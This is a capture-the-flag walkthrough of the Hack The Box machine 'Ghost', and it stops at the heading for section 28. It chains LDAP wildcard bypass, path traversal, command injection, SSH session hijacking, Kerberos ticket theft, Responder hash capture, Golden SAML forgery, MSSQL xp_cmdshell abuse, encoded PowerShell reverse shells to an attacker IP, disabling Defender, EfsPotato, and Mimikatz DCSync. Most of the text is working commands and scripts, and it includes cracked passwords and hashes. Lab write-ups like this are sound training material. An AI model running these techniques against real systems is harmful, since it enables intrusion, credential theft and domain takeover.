đź‘» Ghost
Machine: Ghost
Difficulty: Insane
Theme: LDAP wildcard authentication bypass → temporary Gitea principal recovery → source-code review → Ghost CMS path traversal → /proc/self/environ disclosure → internal API command injection → SSH ControlMaster session hijack → Florence Kerberos TGT theft → writable SMB shortcut attack → Justin Bradley NetNTLMv2 capture and cracking → WinRM foothold → ReadGMSAPassword over AD FS gMSA → AD FS signing-key extraction → Golden SAML → privileged database debug panel → MSSQL linked-server impersonation → sa → xp_cmdshell → MSSQL service shell → SeImpersonatePrivilege → EfsPotato SYSTEM → child-domain DCSync → interdomain trust-key extraction → forged cross-realm Kerberos ticket → parent-domain Enterprise Admin access → DC01 root
🎯 Summary
Ghost is an Insane Windows and Linux Active Directory machine built around several separate trust boundaries.
The external attack surface exposes a domain controller alongside Ghost CMS, an internal intranet application, Gitea, AD FS, MSSQL, and a custom administrative application. The initial web foothold does not come from a version exploit. Instead, an LDAP authentication implementation accepts wildcard values, allowing an authenticated intranet session as kathryn.holland.
The intranet application exposes enough behavior to recover the password for a temporary Gitea principal. Password reuse gives access to internal source repositories. Reviewing the ghost-dev/blog and ghost-dev/intranet repositories reveals two important flaws.
The custom Ghost CMS code accepts an extra parameter and reads files beneath /var/lib/ghost/extra/ without adequately restricting traversal. This allows /proc/self/environ to be read, disclosing the DEV_INTRANET_KEY.
The intranet source shows that POST /api-dev/scan trusts this key through the X-DEV-INTRANET-KEY header. The submitted url is interpreted in a shell context, so shell metacharacters provide command injection.
Command execution exposes a live SSH ControlMaster socket under /root/.ssh/controlmaster/. The socket belongs to an existing connection for florence.ramirez to dev-workstation. Reusing the socket gives access to LINUX-DEV-WS01 without knowing Florence’s password.
Florence has an active Kerberos TGT stored in /tmp/krb5cc_50. The cache is copied to the attacker machine and used for authenticated domain and SMB enumeration. A writable SMB location is abused with a malicious shortcut through NetExec’s slinky module. When Justin Bradley accesses the location, Responder captures his NetNTLMv2 challenge response.
Hashcat recovers Justin’s password:
GHOST\justin.bradley:Qwertyuiop1234$$Justin can access DC01 through WinRM, giving the user flag. BloodHound shows that Justin has ReadGMSAPassword over ADFS_GMSA$. NetExec retrieves the gMSA’s managed NT hash, and pass-the-hash gives an Evil-WinRM session as the AD FS service identity.
Direct MSSQL access as ADFS_GMSA$ initially appears promising, but the login lands as guest, cannot impersonate another login, and cannot execute xp_cmdshell. The important capability of this identity is instead its access to the AD FS configuration and signing material.
ADFSDump extracts two DKM candidate keys, the encrypted AD FS token-signing certificate, the issuer identifier, and the relying-party configuration for core.ghost.htb. ADFSpoof is used to test the two DKM values. The first fails authenticated decryption with a MAC mismatch, while the second successfully decrypts the signing PFX.
A forged SAML response is created for Administrator@ghost.htb. A legitimate Justin login is proxied through Burp, and the normal POST /adfs/saml/postResponse request is intercepted. Replacing only the SAMLResponse value with the forged assertion produces a new privileged application session and opens the Ghost Config Panel.
The panel exposes a SQL query debugger. The local connection runs as web_client and has linked servers named DC01 and PRIMARY. Querying through PRIMARY maps the connection to bridge_corp. That remote login has IMPERSONATE rights over sa.
The application can therefore execute a query remotely on PRIMARY, impersonate sa, enable xp_cmdshell, and run commands as:
NT SERVICE\MSSQLSERVERNetcat is initially transferred over HTTP, but endpoint protection removes it. A harmless text file survives, proving the download path works and that the executable itself is being quarantined. A fileless encoded PowerShell reverse shell succeeds instead.
The MSSQL service account has SeImpersonatePrivilege enabled. EfsPotato is downloaded as source, compiled locally with the installed .NET compiler, and used to create processes as NT AUTHORITY\SYSTEM.
PRIMARY belongs to the child domain corp.ghost.htb, so SYSTEM on this host is not yet compromise of the parent-domain DC01. Mimikatz DCSync against the child domain recovers the GHOST$ interdomain trust account secret.
The child-domain SID and parent-domain SID are collected. Impacket’s ticketer.py uses the GHOST$ trust hash to forge a cross-realm ticket containing the parent domain’s Enterprise Admins SID. The resulting interdomain ticket is exchanged for a CIFS service ticket to dc01.ghost.htb.
The CIFS ticket provides access to the parent domain controller’s C$ share, allowing root.txt to be retrieved from the Administrator desktop.
1. Enumeration
Initial scan:
sudo nmap -sC -sV -vv -oA nmap/ghost 10.129.231.105A full TCP scan was also useful:
sudo nmap -p- --min-rate=800 -T3 -vv \
-oA nmap/ghost-full \
10.129.231.105Important ports:
53/tcp DNS
80/tcp HTTP
88/tcp Kerberos
135/tcp MSRPC
139/tcp NetBIOS
389/tcp LDAP
443/tcp HTTPS
445/tcp SMB
464/tcp Kerberos password change
593/tcp RPC over HTTP
636/tcp LDAPS
1433/tcp Microsoft SQL Server 2022
2179/tcp Hyper-V VM console
3268/tcp Global Catalog LDAP
3269/tcp Global Catalog LDAPS
3389/tcp RDP
5985/tcp WinRM
8008/tcp Ghost CMS / internal web applications
8443/tcp Ghost Core application
9389/tcp Active Directory Web ServicesThe host exposed the services of a domain controller as well as several custom applications.
Useful names discovered during enumeration:
ghost.htb
DC01.ghost.htb
core.ghost.htb
intranet.ghost.htb
gitea.ghost.htb
bitbucket.ghost.htb
federation.ghost.htbThey were added locally:
echo '10.129.231.105 ghost.htb DC01.ghost.htb core.ghost.htb intranet.ghost.htb gitea.ghost.htb bitbucket.ghost.htb federation.ghost.htb' \
| sudo tee -a /etc/hostsCheck:
getent hosts ghost.htb dc01.ghost.htb core.ghost.htb intranet.ghost.htbImportant gotcha:
Several applications use nonstandard ports. The hostname alone is not enough; both the correct hostname and port must be used.
2. Intranet LDAP Authentication Bypass
The intranet login accepted LDAP credentials through fields named:
1_ldap-username
1_ldap-secretSupplying a wildcard for both values bypassed the intended authentication:
1_ldap-username=*
1_ldap-secret=*A successful request returned:
HTTP/1.1 303 See Other
Set-Cookie: token=Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
x-action-redirect: /Decoding the JWT showed:
kathryn.hollandThis was not an LDAP anonymous bind. The application was passing attacker-controlled wildcard input into its directory lookup and treating a returned directory record as a valid login.
Important gotcha:
The * value was useful because of the application’s LDAP query construction. This is different from classic SQL injection and should be tested through the actual application request rather than assumed to work directly against LDAP.
3. Temporary Gitea Principal Recovery
The authenticated intranet application exposed a mechanism that could be used as an authentication oracle.
A temporary account named:
gitea_temp_principalwas identified.
The brute-force script used the intranet login behavior as a prefix oracle:
#!/usr/bin/env python3
import requests, string, sys
URL = "http://intranet.ghost.htb:8008/login"
USER = "gitea_temp_principal"
NEXT_ACTION = "c471eb076ccac91d6f828b671795550fd5925940"
ALPHABET = string.ascii_letters + string.digits
def oracle(secret):
r = requests.post(
URL,
files={
"1_ldap-username": (None, USER),
"1_ldap-secret": (None, secret),
"0": (None, '[{},"$K1"]'),
},
headers={
"Next-Action": NEXT_ACTION,
"Accept": "text/x-component",
},
allow_redirects=False,
)
return r.status_code == 303
if not oracle("*"):
sys.exit("[-] Oracle failed")
print("[+] Oracle works")
known = ""
while True:
for c in ALPHABET:
guess = known + c + "*"
print(f"\r[*] Trying {guess:<25}", end="", flush=True)
if oracle(guess):
known += c
print(f"\n[+] Prefix: {known}")
if oracle(known):
print(f"[+] Secret: {known}")
sys.exit(0)
break
else:
sys.exit(f"\n[-] Stuck at: {known}")Testing candidate secrets through the intranet behavior eventually recovered the account’s password. The same credential was accepted by the internal Gitea service:
http://gitea.ghost.htb:8008/The useful repositories were:
ghost-dev/blog
ghost-dev/intranetImportant gotcha:
The temporary principal was not itself an operating-system foothold. Its value came from access to source code that described the behavior of the Ghost CMS and the intranet backend.
4. Source-Code Review
4.1 Ghost CMS custom code
The ghost-dev/blog repository contained a modified file:
posts-public.jsThe custom implementation added an extra parameter and used it to read files beneath:
/var/lib/ghost/extra/Path validation was insufficient, allowing traversal outside that directory.
Instead of immediately searching for flags, the highest-value target was the running process environment:
/proc/self/environThe extra parameter on the public-post request was changed to a traversal path ending in:
../../../../../../proc/self/environThe response disclosed application environment variables, including:
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@XeImportant gotcha:
/proc/self/environ is NUL-delimited. Depending on the client used, the output may appear as one long line or contain unusual separators.
A convenient way to make it readable is:
tr '\0' '\n' < environ.txt4.2 Intranet development API
The ghost-dev/intranet source showed that the development endpoint requires:
X-DEV-INTRANET-KEY: <DEV_INTRANET_KEY>It accepts JSON resembling:
{
"url": "http://example.com"
}Because the url value is interpreted in a shell context, shell metacharacters are processed.
5. Development API Command Injection
A harmless proof was sent first:
curl -s -X POST \
'http://intranet.ghost.htb:8008/api-dev/scan' \
-H 'Content-Type: application/json' \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
--data '{"url":"http://127.0.0.1; id"}'Other useful probes:
curl -s -X POST \
'http://intranet.ghost.htb:8008/api-dev/scan' \
-H 'Content-Type: application/json' \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
--data '{"url":"http://127.0.0.1; hostname"}'curl -s -X POST \
'http://intranet.ghost.htb:8008/api-dev/scan' \
-H 'Content-Type: application/json' \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
--data '{"url":"http://127.0.0.1; ls -la /root/.ssh"}'The command injection provided access to the application host’s filesystem and root-controlled paths.
Important gotcha:
The vulnerable value is part of a command that already expects a URL. A syntactically valid URL followed by ; made the injected command easier to reason about than trying to replace the entire argument.
6. SSH ControlMaster Session Hijacking
Filesystem enumeration revealed:
/root/.ssh/controlmaster/Inside was an active SSH ControlMaster socket:
florence.ramirez@ghost.htb@dev-workstation:22This represented an already-authenticated SSH connection from the compromised Linux host to the development workstation.
Set the socket path:
SOCK='/root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22'Check the master connection:
ssh -S "$SOCK" \
-O check \
florence.ramirez@dev-workstationReuse the authenticated session:
ssh -S "$SOCK" \
florence.ramirez@dev-workstationHost verification:
whoami
hostnameResult:
florence.ramirez
LINUX-DEV-WS01Important gotcha:
The socket itself is the authentication primitive. Florence’s password and SSH private key were not required.
ControlMaster paths are frequently found under:
~/.ssh/
~/.ssh/controlmaster/
~/.ssh/cm/Useful enumeration:
find /root/.ssh /home -type s -o -type f 2>/dev/null7. Florence Kerberos TGT Theft
On LINUX-DEV-WS01, an active Kerberos cache existed:
/tmp/krb5cc_50Inspect it:
KRB5CCNAME=FILE:/tmp/krb5cc_50 klistResult:
Default principal: florence.ramirez@GHOST.HTB
Service principal: krbtgt/GHOST.HTB@GHOST.HTBThe cache was copied to the attacker machine.
One simple transfer method is Base64:
base64 -w0 /tmp/krb5cc_50On Parrot:
echo '[BASE64_CACHE]' | base64 -d > florence.ccache
chmod 600 florence.ccache
export KRB5CCNAME="$(realpath florence.ccache)"
klistKerberos-based SMB enumeration:
nxc smb dc01.ghost.htb \
-k \
--use-kcache \
--sharesReadable shares included:
IPC$
NETLOGON
SYSVOL
UsersImportant gotcha:
The ticket cache must be referenced by an absolute path or by a valid FILE: URI. Kerberos tooling is also sensitive to DNS and time synchronization.
8. SMB Shortcut Attack and NetNTLMv2 Capture
Florence’s Kerberos context provided access to a writable SMB location.
Responder was started on the attacker VPN interface:
sudo responder -I tun0 -vA malicious shortcut was deployed with the slinky module:
nxc smb dc01.ghost.htb \
-k \
--use-kcache \
-M slinky \
-o SERVER=10.10.14.52 NAME=importantThe shortcut referenced an attacker-controlled UNC path. When Justin Bradley browsed the affected location, Windows attempted SMB authentication to the attacker.
Responder captured a NetNTLMv2 response for:
GHOST\justin.bradleyThe captured line was saved as one uninterrupted line:
vi bradley.hashImportant gotcha:
A NetNTLMv2 challenge response is not an NT hash. It cannot be passed directly to SMB or WinRM and must be cracked or relayed.
The captured line must not contain terminal wrapping or line breaks.
9. Cracking Justin Bradley’s Password
Hashcat mode for NetNTLMv2:
hashcat -m 5600 \
bradley.hash \
[WORDLIST]Show recovered result:
hashcat -m 5600 bradley.hash --showRecovered credential:
GHOST\justin.bradley:Qwertyuiop1234$$Validate:
nxc winrm dc01.ghost.htb \
-u 'justin.bradley' \
-p 'Qwertyuiop1234$$'WinRM:
evil-winrm \
-i dc01.ghost.htb \
-u 'justin.bradley' \
-p 'Qwertyuiop1234$$'User flag:
Get-Content C:\Users\justin.bradley\Desktop\user.txt10. BloodHound and ReadGMSAPassword
BloodHound data was collected with Justin’s credential:
nxc ldap dc01.ghost.htb \
-u 'justin.bradley' \
-p 'Qwertyuiop1234$$' \
--bloodhound \
--collection All \
--dns-server 10.129.231.105BloodHound showed:
JUSTIN.BRADLEY
└── ReadGMSAPassword
└── ADFS_GMSA$Retrieve the managed password:
nxc ldap dc01.ghost.htb \
-u 'justin.bradley' \
-p 'Qwertyuiop1234$$' \
--gmsaRecovered NT hash:
ADFS_GMSA$:16b9766667b1e9f8d4c315a11707c497Validate WinRM pass-the-hash:
nxc winrm dc01.ghost.htb \
-u 'ADFS_GMSA$' \
-H '16b9766667b1e9f8d4c315a11707c497'Connect:
evil-winrm \
-i dc01.ghost.htb \
-u 'ADFS_GMSA$' \
-H '16b9766667b1e9f8d4c315a11707c497'Important gotchas:
The $ is part of the gMSA account name:
ADFS_GMSA$Use -H for an NT hash. -p treats the value as a plaintext password.
11. Direct MSSQL Enumeration: Initial Dead End
A Chisel tunnel was created to expose MSSQL locally.
On Parrot:
chisel server --reverse -p 8001On the compromised Windows host:
.\chisel.exe client 10.10.14.52:8001 R:14330:127.0.0.1:1433Connect through the forwarded port:
impacket-mssqlclient \
'ghost.htb/ADFS_GMSA$@127.0.0.1' \
-hashes ':16b9766667b1e9f8d4c315a11707c497' \
-windows-auth \
-port 14330The login succeeded but landed as:
GHOST\adfs_gmsa$
guest@masterUseful built-in enumeration:
enum_db
enum_logins
enum_impersonate
enum_linksObserved:
msdb is_trustworthy_on = 1
sa exists
BUILTIN\Users exists
no useful impersonation path
linked server PRIMARY existsAttempting command execution failed:
xp_cmdshell whoamiResult:
The EXECUTE permission was denied on the object 'xp_cmdshell'This path was useful reconnaissance but not the privilege-escalation path.
Stop condition:
guest context
+ no impersonation
+ xp_cmdshell denied
= do not overinvest in direct MSSQL accessThe more valuable capability of ADFS_GMSA$ was access to AD FS signing material.
12. Building and Running ADFSDump
ADFSDump was cloned and compiled on Parrot:
cd ~/tools/ad
git clone https://github.com/mandiant/ADFSDump.git
cd ADFSDump
xbuild ADFSDump.sln /p:Configuration=ReleaseThe executable was created at:
ADFSDump/bin/Release/ADFSDump.exeUpload through Evil-WinRM:
upload ADFSDump/bin/Release/ADFSDump.exeRun on the AD FS host:
.\ADFSDump.exeTo prevent the large encrypted value being truncated on screen, save it to disk:
.\ADFSDump.exe |
Out-File .\adfsdump.txt -Encoding ascii -Width 20000Download from Evil-WinRM:
download adfsdump.txtADFSDump recovered:
Domain: ghost.htb
Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
AD FS version: 2019Relying party:
core.ghost.htbSAML endpoint:
https://core.ghost.htb:8443/adfs/saml/postResponseRelying-party identifier:
https://core.ghost.htb:8443Claims:
UPN
CommonNameTwo DKM candidates were returned:
FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C78D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A113. Extracting the Encrypted PFX and DKM Keys
Extract the Base64 blob:
cd ~/htb/ghost
mkdir -p saml
awk '
/Encrypted Token Signing Key Begin/ {capture=1; next}
/Encrypted Token Signing Key End/ {capture=0}
capture
' adfsdump.txt |
tr -d '\r\n ' > saml/encrypted_pfx.b64Check:
wc -c saml/encrypted_pfx.b64
head -c 20 saml/encrypted_pfx.b64; echoThe extracted Base64 began with:
AAAAAQAAAAAEEAFyHlNXDecode:
base64 -d \
saml/encrypted_pfx.b64 \
> saml/encrypted_pfx.binConvert both DKM candidates from hexadecimal:
echo 'FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7' |
tr -d '-' |
xxd -r -p > saml/dkm1.binecho '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' |
tr -d '-' |
xxd -r -p > saml/dkm2.binVerify:
wc -c saml/dkm*.binExpected:
32 saml/dkm1.bin
32 saml/dkm2.bin14. ADFSpoof Compatibility Environment
ADFSpoof’s original dependency versions were too old for the system Python 3.13 environment.
Clone it:
cd ~/tools/ad
git clone https://github.com/mandiant/ADFSpoof.git
cd ADFSpoofInstall a managed Python 3.9 interpreter with uv:
command -v uv >/dev/null || \
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"
uv python install 3.9
uv venv --python 3.9 .venv
source .venv/bin/activateCheck:
python --versionExpected:
Python 3.9.xA compatible dependency file was created:
cat > requirements-py39.txt <<'EOF'
cryptography==3.4.8
lxml==4.9.1
pyasn1==0.4.5
signxml==2.9.0
pyOpenSSL==20.0.1
six==1.12.0
EOFInstall:
uv pip install -r requirements-py39.txtVerify:
python ADFSpoof.py --helpExpected modules:
{o365,dropbox,saml2,dump}Important gotcha:
The original repository pinned:
cryptography==2.9.2
signxml==2.6.0These did not install cleanly on Python 3.13. Upgrading only cryptography was also insufficient because signxml==2.6.0 explicitly required cryptography<3.
15. Decrypting the AD FS Signing Certificate
Test the first DKM key:
python ADFSpoof.py \
-b ~/htb/ghost/saml/encrypted_pfx.bin \
~/htb/ghost/saml/dkm1.bin \
dump \
--path ~/htb/ghost/saml/token1.pfxResult:
Calculated MAC did not match anticipated MACThis ruled out dkm1.bin.
Test the second:
python ADFSpoof.py \
-b ~/htb/ghost/saml/encrypted_pfx.bin \
~/htb/ghost/saml/dkm2.bin \
dump \
--path ~/htb/ghost/saml/token2.pfxThis completed without a MAC error and created:
~/htb/ghost/saml/token2.pfxValidate:
openssl pkcs12 \
-in ~/htb/ghost/saml/token2.pfx \
-passin pass: \
-info \
-nooutThe PKCS#12 container parsed successfully.
Important gotcha:
file token2.pfx reported only:
dataThat is not a failure. OpenSSL parsing is the meaningful validation.
16. Forging the Administrator SAML Response
Generate a forged assertion for:
Administrator@ghost.htbCommand:
cd ~/tools/ad/ADFSpoof
source .venv/bin/activate
python ADFSpoof.py \
-b ~/htb/ghost/saml/encrypted_pfx.bin \
~/htb/ghost/saml/dkm2.bin \
-s core.ghost.htb \
saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid 'Administrator@ghost.htb' \
--rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' \
| tail -n 1 \
> ~/htb/ghost/saml/administrator_saml.txtCheck:
wc -c ~/htb/ghost/saml/administrator_saml.txt
head -c 40 ~/htb/ghost/saml/administrator_saml.txt; echoIt should be one continuous encoded value beginning similarly to:
PHNhbWxwOlJlc3BvbnNlImportant gotcha:
The output is already encoded for the SAMLResponse form field. Do not encode it again.
17. Golden SAML Through Burp
A clean browser session was opened through Burp.
The normal application login began at:
https://core.ghost.htb:8443/The legitimate low-privileged login used:
justin.bradley@ghost.htbNot:
justin.bradley@core.ghost.htbThe browser was redirected to AD FS:
https://federation.ghost.htb/adfs/ls/...The first intercepted request contained a SAMLRequest and was forwarded unchanged.
After submitting Justin’s credentials, Burp intercepted:
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Content-Type: application/x-www-form-urlencodedBody:
SAMLResponse=PHNhbWxw...Copy the forged value locally:
xclip -selection clipboard \
< ~/htb/ghost/saml/administrator_saml.txtIn Burp:
- Delete everything after
SAMLResponse=. - Paste the actual file contents.
- Do not paste the literal command
cat .... - Forward the request.
The application returned a new:
connect.sidThe browser then opened:
Ghost Config Panel
Database DebugImportant gotchas:
An existing Justin connect.sid sent the browser directly to /unauthorized. A new browser profile or cleared cookies were required to force a fresh SAML flow.
The request to modify is:
POST /adfs/saml/postResponseNot the initial:
GET /and not the incoming AD FS:
POST /adfs/ls/?SAMLRequest=...18. Ghost Config Panel SQL Enumeration
The panel provided a SQL query field connected to the main MSSQL database.
Identify the local database user:
SELECT CURRENT_USER AS result;Result:
web_clientEnumerate linked servers:
EXEC sp_linkedservers;Servers:
DC01
PRIMARYQuery the current login through PRIMARY:
SELECT *
FROM OPENQUERY(
"PRIMARY",
'SELECT CURRENT_USER AS result'
);Result:
bridge_corpEnumerate remote impersonation rights:
SELECT * FROM OPENQUERY("PRIMARY", '
SELECT
grantor.name AS Grantor,
grantee.name AS Grantee,
impersonated.name AS ImpersonatedLogin
FROM sys.server_permissions AS perm
JOIN sys.server_principals AS grantee
ON perm.grantee_principal_id = grantee.principal_id
JOIN sys.server_principals AS impersonated
ON perm.major_id = impersonated.principal_id
JOIN sys.server_principals AS grantor
ON perm.grantor_principal_id = grantor.principal_id
WHERE perm.permission_name = ''IMPERSONATE''
');Result:
Grantor: sa
Grantee: bridge_corp
ImpersonatedLogin: saThe useful chain was now:
web_client
↓ linked server
bridge_corp
↓ IMPERSONATE
saImportant gotcha:
The panel displayed duplicate recordsets in some responses. This was how the application’s SQL driver serialized results and did not mean the query executed twice in a meaningful way.
19. Enabling xp_cmdshell Through the Linked Server
Execute remotely as sa:
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC sp_configure "show advanced options", 1;
RECONFIGURE;
EXEC sp_configure "xp_cmdshell", 1;
RECONFIGURE;
') AT [PRIMARY];The application returned an empty result:
{
"recordsets": [],
"output": {},
"rowsAffected": []
}That was expected for configuration statements.
Verify command execution:
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell "whoami";
') AT [PRIMARY];Result:
nt service\mssqlserverThis confirmed operating-system command execution on PRIMARY.
20. Payload Transfer and Defender Quarantine
A payload directory was prepared:
mkdir -p ~/htb/ghost/serve
cp /usr/share/sqlninja/apps/nc.exe ~/htb/ghost/serve/nc64.exeStart an HTTP server:
python3 -m http.server 8002 \
--directory ~/htb/ghost/serveDownload through xp_cmdshell:
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing http://10.10.14.52:8002/nc64.exe -OutFile C:\ProgramData\nc64.exe"''
') AT [PRIMARY];The HTTP server showed:
GET /nc64.exe HTTP/1.1" 200But verifying the file returned:
File Not FoundA harmless test file was created:
echo ok > ~/htb/ghost/serve/probe.txtDownload:
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing http://10.10.14.52:8002/probe.txt -OutFile C:\ProgramData\probe.txt"''
') AT [PRIMARY];Read:
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''type C:\ProgramData\probe.txt''
') AT [PRIMARY];Result:
okThis proved:
network transfer works
destination is writable
Netcat is being removed by endpoint protectionImportant gotcha:
An HTTP 200 proves the target fetched the file. It does not prove the file survived endpoint protection.
21. Fileless PowerShell Reverse Shell
A Base64-encoded PowerShell payload was generated locally.
Listener:
sudo rlwrap nc -lvnp 444Generate the SQL command:
python3 - <<'PY' > ~/htb/ghost/revshell.sql
import base64
ip = "10.10.14.52"
port = 444
ps = (
f"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});"
"$s=$c.GetStream();"
"[byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length))-ne 0){"
"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
"$r=(iex $d 2>&1|Out-String);"
"$p=$r+'PS '+(Get-Location).Path+'> ';"
"$o=[Text.Encoding]::ASCII.GetBytes($p);"
"$s.Write($o,0,$o.Length);"
"$s.Flush()"
"};"
"$c.Close()"
)
encoded = base64.b64encode(
ps.encode("utf-16le")
).decode()
print(
"EXECUTE('EXECUTE AS LOGIN=''sa''; "
"EXEC xp_cmdshell ''cmd /c start \"\" powershell "
f"-NoProfile -WindowStyle Hidden -EncodedCommand {encoded}''') "
"AT [PRIMARY];"
)
PYCopy it:
xclip -selection clipboard \
< ~/htb/ghost/revshell.sqlPaste it into the panel and execute.
The web application returned a timeout/cancellation error:
RequestError: Failed to cancel requestHowever, the listener received:
Connection received on 10.129.231.105Verify:
whoami
hostnameResult:
nt service\mssqlserver
PRIMARYImportant gotcha:
The web debugger has a short request timeout. A timeout does not mean the OS command failed. Always check the listener before retrying.
22. MSSQL Service Privilege Enumeration
From the reverse shell:
whoami /privImportant result:
SeImpersonatePrivilege Impersonate a client after authentication EnabledOther enabled privileges included:
SeChangeNotifyPrivilege
SeCreateGlobalPrivilegeThe service account was not Administrator:
nt service\mssqlserverTrying to access the assumed Administrator profile failed:
Test-Path C:\Users\Administrator\DesktopResult:
FalseThis did not indicate a failed shell. It only meant that the exact path did not exist or was not the final flag location.
The privilege-escalation path was SeImpersonatePrivilege.
23. EfsPotato Compilation
On Parrot:
cd ~/htb/ghost/serve
git clone https://github.com/zcgonvh/EfsPotato.git
cp EfsPotato/EfsPotato.cs .The existing HTTP server exposed:
http://10.10.14.52:8002/EfsPotato.csOn PRIMARY:
cd C:\ProgramData
Invoke-WebRequest `
-UseBasicParsing `
http://10.10.14.52:8002/EfsPotato.cs `
-OutFile EfsPotato.csVerify:
Get-Item C:\ProgramData\EfsPotato.csCheck the compiler:
Test-Path C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeResult:
TrueThe first multiline compile attempt failed because the reverse shell did not preserve PowerShell backtick continuations:
warning CS2008: No source files specified
error CS1562: Outputs without source must have the /out option specifiedCompile on one line:
& 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /out:C:\ProgramData\EfsPotato.exe C:\ProgramData\EfsPotato.cs /nowarn:1691,618Verify:
Get-Item C:\ProgramData\EfsPotato.exe24. SYSTEM Proof
Run a harmless identity command as the impersonated token:
C:\ProgramData\EfsPotato.exe "cmd.exe /c whoami > C:\ProgramData\system-check.txt"EfsPotato reported:
Current user: NT Service\MSSQLSERVER
Pipe: \pipe\lsarpc
binding ok
Get Token
process createdRead the output:
Get-Content C:\ProgramData\system-check.txtResult:
nt authority\systemImportant distinction:
The current interactive shell remained:
nt service\mssqlserverEfsPotato was creating individual child processes as SYSTEM.
25. Interactive SYSTEM Shell
A second PowerShell reverse-shell script was created locally:
cat > ~/htb/ghost/serve/system.ps1 <<'EOF'
$c=New-Object Net.Sockets.TCPClient('10.10.14.52',4455)
$s=$c.GetStream()
[byte[]]$b=0..65535|%{0}
while(($i=$s.Read($b,0,$b.Length))-ne 0){
$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i)
$r=(iex $d 2>&1|Out-String)
$p=$r+'PS '+(Get-Location).Path+'> '
$o=[Text.Encoding]::ASCII.GetBytes($p)
$s.Write($o,0,$o.Length)
$s.Flush()
}
$c.Close()
EOFStart a separate listener:
sudo rlwrap nc -lvnp 4455Download the script from the MSSQL service shell:
Invoke-WebRequest `
-UseBasicParsing `
http://10.10.14.52:8002/system.ps1 `
-OutFile C:\ProgramData\system.ps1Execute through EfsPotato:
C:\ProgramData\EfsPotato.exe "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\ProgramData\system.ps1"The original port-444 shell appeared to hang. This was expected because the EfsPotato process remained attached.
The port-4455 listener received the SYSTEM session.
Verify:
whoami
hostname
(Get-CimInstance Win32_ComputerSystem).DomainResult:
nt authority\system
PRIMARY
corp.ghost.htbPort map:
444 → NT SERVICE\MSSQLSERVER
4455 → NT AUTHORITY\SYSTEMImportant gotcha:
Restarting the listener on port 444 does not restore the SYSTEM shell. The SYSTEM payload connects to port 4455.
26. Child-Domain DCSync
Mimikatz was prepared on Parrot:
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe \
~/htb/ghost/serve/mimikatz.exeFrom the SYSTEM shell:
Set-MpPreference -DisableRealtimeMonitoring $trueDownload:
Invoke-WebRequest `
-UseBasicParsing `
http://10.10.14.52:8002/mimikatz.exe `
-OutFile C:\ProgramData\m.exeVerify:
Get-Item C:\ProgramData\m.exeRun DCSync against the child domain:
& C:\ProgramData\m.exe "lsadump::dcsync /domain:corp.ghost.htb /all /csv" "exit" |
Tee-Object C:\ProgramData\dcsync.txtImportant results:
502 krbtgt 69eb46aa347a8c68edb99be2725403ab
500 Administrator 41515af3ada195029708a53d941ab751
1000 PRIMARY$ 27f92da5e3d79962020ddebc08ed7d70
1103 GHOST$ 8351e6db369c51ca82067f560ca5b53aThe important value for the cross-domain path was:
GHOST$:8351e6db369c51ca82067f560ca5b53aExtract it:
Select-String \
-Path C:\ProgramData\dcsync.txt \
-Pattern 'GHOST\$'Important gotcha:
The Administrator hash belongs to the child domain:
corp.ghost.htbIt is not the parent-domain Administrator hash.
The GHOST$ value is the interdomain trust-account secret and is the value required for forging the cross-realm ticket.
27. Domain SID Collection
From the SYSTEM shell:
Import-Module ActiveDirectory
(Get-ADDomain -Identity corp.ghost.htb).DomainSID.Value
(Get-ADDomain -Identity ghost.htb).DomainSID.ValueResults:
Child domain SID:
S-1-5-21-2034262909-2733679486-179904498Parent domain SID:
S-1-5-21-4084500788-938703357-3654145966The parent-domain Enterprise Admins SID is:
S-1-5-21-4084500788-938703357-3654145966-519Required values:
Trust hash:
8351e6db369c51ca82067f560ca5b53a
Child SID:
S-1-5-21-2034262909-2733679486-179904498
Parent Enterprise Admins SID:
S-1-5-21-4084500788-938703357-3654145966-51928. Impacket 0.12 Compatibility Environment
